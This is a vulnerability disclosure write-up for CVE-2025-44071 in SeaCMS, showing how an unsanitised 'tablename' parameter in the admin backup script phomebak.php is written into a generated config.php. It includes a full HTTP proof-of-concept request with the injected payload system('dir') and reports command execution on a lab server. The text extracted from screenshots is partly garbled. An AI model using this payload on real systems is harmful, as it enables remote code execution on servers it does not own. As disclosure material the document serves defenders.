

## CVE-2025-44071

## **Analysis Report:**

filename: \SeaCMS\Upload\admin\ebak\phomebak.php



440	<pre>function Ebak_DoEbak(\$add){</pre>
	1
	<pre>\$insertf='replace';</pre>
	}
	if(\$phome_db_ver=='4.0'&&\$add[' <u>dbchar</u> ']=='auto')
	{
	\$add[' <u>dbchar</u> ']='';
	}
	<pre>\$string="<?php</pre></pre>
	\\$b_table=\" <mark>".\$b_table."</mark> \";
	".\$d_table."
	\\$b_ <u>baktype</u> =".\$add[' <u>baktype</u> '].";
	\\$b_filesize=".\$add['filesize'].";
	\\$b_ <u>bakline</u> =".\$add[' <u>bakline</u> '].";
	\\$b_ <u>autoauf</u> =".\$add[' <u>autoauf</u> '].";
	\\$b_dbname=\" <mark>".\$dbname."</mark> \";
	\\$b_ <u>stru</u> =".\$bakstru.";
	\\$b_ <u>strufour</u> =".\$bakstrufour.";
	\\$b_ <u>dbchar</u> =\" <mark>".addslashes(\$</mark> add[' <u>dbchar</u> '])."\";
	\\$b_ <u>beover</u> =".\$beover.";
	\\$b_ <u>insertf</u> =\" <mark>".addslashes(\$insertf)."</mark> \";
	\\$b_ <u>autofield</u> =\", <mark>".addslashes(\$</mark> add[' <u>autofield</u> ']).",\";
	\\$b_ <u>bakdatatype</u> =".\$bakdatatype.";
	?>";
	<pre>\$cfile=\$bakpath."/".\$add['mypath']."/config.php";</pre>
516	<pre>WriteFiletext_n(\$cfile,\$string);</pre>
	if(\$add[' <u>baktype</u> '])

In the Ebak\_DoEbak() function, the passed parameters are written into a config.php file, and the variable value \$b\_table written comes from the tablename parameter in post. It is directly written into config.php without any filtering or validation.

287	//写文件
	16-个用法
288	<pre>function WriteFiletext_n(\$filepath,\$string){</pre>
289	global \$ <u>filechmod</u> ;
290	<pre>\$fp=@fopen(\$filepath, mode: "w");</pre>
291	<pre>@fputs(\$fp,\$string);</pre>
292	<pre>@fclose(\$fp);</pre>
293	<pre>if(empty(\$filechmod))</pre>
294	{
295	<pre>@chmod(\$filepath, permissions: 0777);</pre>
296	}
297	}

Construct a request to write malicious code into a PHP file. Once accessed, it will be parsed.

## Verification

②海洋	□ 首页 ■ 数据 ● 模板 ■ 生成 ■ 用户 に 工具 ■ 采集 ◆ 扩展 ● 系统
<b>©</b> / <b>4</b> / <del>7</del>	🔐 后台首页 > 系统简要信息
• 后台首页	<b>國信息摘要 待审核留言① 待处理报错① 待审视频评论① 待审文章评论</b> ①
。 数据统计	PHP版本: 7.3.4 GD版本: 2.1.0
	是否安全模式: Off 支持上传的最大文件: 100M
。 搜索统计	Register_Globals: Off Magic_Quotes_Gpc: Off
○ 快捷菜单	是否允许打开远程连接:支持 其它必须函数检测:符合要求
○ 添加影片	域名-端口: 192.168.255.196 - 8888 弓l擎: Apache/2.4.39 (Win64) OpenS51/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
	Mysql版本: 5.7.26 系统: WINNT
。 管理影片	PHP执行时间限制:300秒         PHP内存使用限制:256M
	[2] 程序版本   当前 <b>① 在</b> 图 】 最新
	12 留身版本   当前 1218月 最新

Sends a request to create a config.php file under the specified directory (test) and writes malicious code to config.php.

Hex Query params				应		
	Body params   链接	& 🗐 /n ≡	ŧ	e化 Raw Hex 页面這染 链接	.⊐ \n	≡
mn/ebak/phomebak.php	HTTP/1.1		1	HTTP/1.1 200 OK		
168.255.156:8888			2	Date: Sun, 29 Dec 2024 09:08:40 GMT		
ngth: 235			3	Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.	9a	
rol: max-age=0				<pre>mod_log_rotate/1.02</pre>		
secure-Requests: 1			4	X-Powered-By: PHP/7.3.4		
tp://192.168.255.156	: 8888		5	Expires: Thu, 19 Nov 1981 08:52:00 GMT		
			6	Cache-Control: no-store, no-cache, must-revalidate		
: Mozilla/5.0 (Macin	tosh; Intel Mac OS X 10	.15; rv:129.0)	7	Pragma: no-cache		
00101 Firefox/129.0			8	Keep-Alive: timeout=5, max=100		
			9	Connection: Keep-Alive		
			10	Content-Type: text/html; charset=utf-8		
mage/apng,*/*;q=0.8,	application/signed-exch	ange;v=b3;q=0.	11	Content-Length: 165		
			12			
			13			
	rumn/ebak/ChangeTable.p	hp?mydbname=se				
					itbakt	ime
				- ,		
	qkd20h6dlsjrh4					
: keep-alive						
		dir ()&Submit=				
E5%A7%8B%E5%A4%87%E4	%BB%BD					
	168.255.156:8888 angth: 235 trol: max-age=0 hsecure-Requests: 1 ttp://192.168.255.156 /pe: application/x-www t: Mozilla/5.0 (Macin 100101 Firefox/129.0 application/xhtml+xm image/apng, */*;q=0.8, i 2.168.255.156:8888/8m bard=sea&act=b boding: gzip, deflate, guage: zh-CN,zh;q=0.4 HPSESSID=5v93294nu5ruc h:keep=alive bak&mydbname=seacms&b: bakstru=1&dbchar=utfl aitbaktime=0&readme=&catage	<pre>angth: 235 trol: max-age=0 secure-Requests: 1 ttp://192.168.255.156:8888 ype: application/x-www-form-urlencoded :: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 100101 Firefox/129.0 application/xhtml+xml, application/xml;q=0.9 image/apng, */*;q=0.8, application/signed-exch 22.168.255.156:8888/8mrumn/ebak/ChangeTable.p bard=sea&amp;act=b board=sea&amp;act=</pre>	<pre>168.255.156:8888 angth: 235 trol: max-age=0 nsecure-Requests: 1 ttp://192.168.255.156:8888 type: application/x-www-form-urlencoded t: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) 100101 Firefox/129.0 application/xhtml+xml, application/xml;q=0.9, image/avif, im image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0. 2.168.255.156:8888/8mrumn/ebak/ChangeTable.php?mydbname=se board=sea&amp;act=b boading: gzip, deflate, br nguage: zh-CN,zh;q=0.9 HPSESSID=5v93294nu5ruqkd20h6dlsjrh4 1keepTallixe. bak&amp;mydbname=seacms&amp;baktype=0&amp;filesize=1024&amp;bakline=1000&amp; kbakstru=1&amp;dbchar=utf8&amp;bakdatatype=1&amp;mypath=test&amp;insertf= aitbaktime=0&amp;readme=&amp;tablename%58%5D=system('dir')&amp;Supmit= </pre>	168.255.156:88882angth: 2353trol: max-age=04ttp://192.168.255.156:88884ttp://192.168.255.156:88886ype: application/x-www-form-urlencoded6t: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0)7100101 Firefox/129.08application/xhtml+xml, application/xml;q=0.9, image/avif, im10image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.1122.168.255.156:8888/8mrumn/ebak/ChangeTable.php?mydbname=se12boding: gzip, deflate, br19rguage: zh=ON, zh;q=0.919HPSESSID=5v93294nu5ruqkd20h6dlsjrh411.keep=alixet: keep=alixe5bak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&kbakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=aitbaktime=0&readme=&tablename%5B%5D=system('dir')&Supmit=	168.255.156:88882Date: Sun, 29 Dec 2024 09:08:40 GMTangth: 235Server: Apache/2.4.39 (Win64) OpenSL/1.1.1b mod_fcgid/2.3. mod_log_rotate/1.02secure=Requests: 1Server: Apache/2.4.39 (Win64) OpenSL/1.1.1b mod_fcgid/2.3. mod_log_rotate/1.02ttp://192.168.255.156:8888Expires: Thu, 19 Nov 1981 08:52:00 GMTcache-Control: no-store, no-cache, must-revalidatettp://192.168.255.156:8888ttp://192.168.255.156:8888uplication/x-mww-form-urlencodedt: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:129.0)uplication/xhtml+xml, application/xml;q=0.9, image/avif, im image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.2.168.255.156:8888/8mrumn/ebak/ChangeTable.php?mydbname=se boding: gzip, deflate, br rguage: zh-CN, zh;q=0.92.168.255.156:8888/kmrumn/ebak/ChangeTable.php?mydbname=se boding: gzip, deflate, br rguage: zh-CN, zh;q=0.9tPSESSID=5v93294nu5ruqkd20hódlsjrh4t.keepTallivebak&mydbname=seems&baktype=0&filesize=1024&bakline=1000& &bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf= aitbaktime=0&readme=&tablename%5B%5D=system('dir') &Supmit=	168.255.156:88882Date: Sun, 29 Dec 2024 09:08:40 GMTangth: 235Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9atrol: max-age=0Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9asecure-Requests: 1The secure application/x-mww-form-urlencodedttp://192.168.255.156:8888Expires: Thu, 19 Nov 1981 08:52:00 GMTcache-Control: no-store, no-cache, must-revalidatetrol: max-age=0Cache-Control: no-store, no-cache, must-revalidatettp://192.168.255.156:8888Fragma: no-cache(00101 Firefox/129.0Keep-Alive: timeout=5, max=100application/xhtml+xml, application/xml;q=0.9, image/avif, imContent-Length: 165image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.Content-Length: 1652. 168.255.156:8888/8mrumn/ebak/ChangeTable.php?mydbname=seSelf. location.href=soding: gzip, deflate, brSelf. location.href=rguage: zh-CN, zh;q=0.9Yestinesize=1024&bakline=1000&bakstru=1&dbchar=utf8&bakdtattype=1&mypath=test&insertf=self. location.href='phomebak.php?phome=BakExe&t=0&s=0&p=0&mypath=test&waitbakt=0';(/script>)

## The generated congfig.php file is accessed and the system commands are successfully executed.

. 2024/12/	29 17:07											
202	24/12/29	17:08 289 cor	nfig.php 2024	4/12/29 17:0	8 32 readr	ne.txt 2 🛷	<b>@ @</b> ] <b>@</b> 321 -	<b>\$</b> , <b>\$</b> 2 <b>\$ \$</b> L	1⁄4 32,394,629	,120 <b>&amp;                                   </b>		
元素	控制台	源代码/来源	网络 性能	内存 应用	Lighthous	e HackBa	ar superSea	rchPlusTools				
	控制台 SPLIT	源代码/来源 EXECUTE	网络 性能 TEST ▼	内存 应用 SQLI ▼	Lighthous XSS <del>-</del>	se HackBa 	ar superSea SSRF ▼	rchPlusTools SSTI ▼	SHELL -	ENCODING -	HASHING -	CUSTON